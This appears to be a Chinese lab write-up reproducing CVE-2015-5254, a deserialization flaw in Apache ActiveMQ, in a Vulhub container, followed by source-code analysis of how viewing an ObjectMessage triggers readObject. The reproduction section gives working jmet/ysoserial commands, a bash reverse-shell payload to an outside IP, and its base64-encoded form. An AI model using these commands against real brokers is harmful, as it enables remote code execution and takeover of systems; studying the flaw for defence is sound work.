Vulhub activewq_漏洞复现——源码分析

Vulhub activewq_漏洞复现——源码分析

漏洞简介

Apache ActiveMQ是由美国阿帕奇（Apache）软件基金会开发的开源消息中间件，支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件：分布式系统中的重要组件，主要解决应用耦合、异步消息、流量削峰等)。

Apache Active MQ5.13.0版本之前到5.x版本的安全漏洞，该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java消息服务(JMS) ObjectMessage对象，利用该漏洞执行任意代码。

CVE-2015-5254

漏洞复现

运行环境

docker-compose up -d

环境运行后，将监听61616和8161两个端口。其中61616是工作端口，消息在这个端口进行传递；8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面

访问8161端口

在攻击机中构建攻击payload，利用jmet生成一个序列化的对象

jmet的原理是使用ysoserial生成payload并发送，所以我们需要在ysoserial是gadget中选择一个可以使用的。

1、下载jmet的jar文件，并在同目录下创建一个external文件夹

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

2、给目标Activemq添加一个名为event的队列，此时就成功给服务器添加了一个“事件”

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息：

点击查看这条消息即可触发命令执行，此时进入容器docker-compose exec activemq bash，可见/tmp/hack_for_fun已成功创建，说明漏洞利用成功

3、获取目标机系统控制权

nc监听9999端口

payload：bash -i >& /dev/tcp/172.16.135.210/9999 0>&1

对payload进行base64编码，再就是和之前一样利用jmet-0.1.0-all.jar

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 172.16.135.201 61616

靶机点击之后，就会反弹shell

源码阅读

下载源码

https://archive.apache.org/dist/activemq/5.12.0/activemq-parent-5.12.0-source-release.zip

漏洞分析

在漏洞复现中，是通过点击web前端查看页面触发payload执行的，但理论上如果某个Consumer从Broker中读取该消息致本地，并直接或间接调用了javax.jms.ObjectMessage实现类的getObject方法就会导致反序列化链的除法。先根据公开的内容，攻击者将消息发送至Bocker，党管理员点击查看消息的按钮时，触发漏洞。

根据browse.jsp中的内容，查看页面的逻辑为于message.jsp中

···
<tr>
        <td class="layout" colspan="2">
            <table id="body" width="100%">
                <thead>
                    <tr>
                        <th>
                            Message Details
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>
                    </tr>
                </tbody>
            </table>
        </td>
    </tr>
···

消息的展示在此处，它从requestContext中获取messageQuery.body的内容，需要找到处理它的类。通过查看WEB-INF/webconsole-query.xml中的bean信息，找到了messageQuery类。

messageQuery类中的getBody函数如下

public Object getBody() throws JMSException {
        Message message = getMessage();
        if (message instanceof TextMessage) {
            return ((TextMessage) message).getText();
        }
        if (message instanceof ObjectMessage) {
            try {
                return ((ObjectMessage) message).getObject();
            } catch (JMSException e) {
                //message could not be parsed, make the reason available
                return e;
            }
        }
        if (message instanceof MapMessage) {
            return createMapBody((MapMessage) message);
        }
        if (message instanceof BytesMessage) {
            BytesMessage msg = (BytesMessage) message;
            int len = (int) msg.getBodyLength();
            if (len > -1) {
                byte[] data = new byte[len];
                msg.readBytes(data);
                return new String(data);
            } else {
                return "";
            }
        }
        if (message instanceof StreamMessage) {
            return "StreamMessage is not viewable";
        }

        // unknown message type
        if (message != null) {
            return "Unknown message type [" + message.getClass().getName() + "] " + message;
        }

        return null;
    }

这里如果消息类型如果是ObjectMessage则会调用回调getBody()，ActiveMQ对ObjectMessage的实现位于类org.apache.activemq.command.ActiveMQObjectMessage。getObject()方法会调用readobject()方法中将data中的数据进行反序列化并且触发漏洞。

调用的getObject函数如下：

public Serializable getObject() throws JMSException {
        if (object == null && getContent() != null) {
            try {
                ByteSequence content = getContent();
                InputStream is = new ByteArrayInputStream(content);
                if (isCompressed()) {
                    is = new InflaterInputStream(is);
                }
                DataInputStream dataIn = new DataInputStream(is);
                ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
                try {
                    object = (Serializable)objIn.readObject();
                } catch (ClassNotFoundException ce) {
                    throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
                } finally {
                    dataIn.close();
                }
            } catch (IOException e) {
                throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
            }
        }
        return this.object;
    }

可以看到有一个魔术方法readObject。这里通过ClassLoadingAwareObjectInputStream对ObjectInputStream进行了封装，覆盖了resolveClass和resolveProxy，限制仅从当前线程的类加载器来加载目标类，但并没有进行类型限制。

protected Class<?> resolveClass(ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        return load(classDesc.getName(), cl, inLoader);
    }

Java反序列化学习

漏洞成因

如果Java应用对用户输入的内容进行了反序列化处理，攻击者可以利用这个特性构造恶意语句，让反序列化产生非预期的对象，在产生过程中可能带来任意代码执行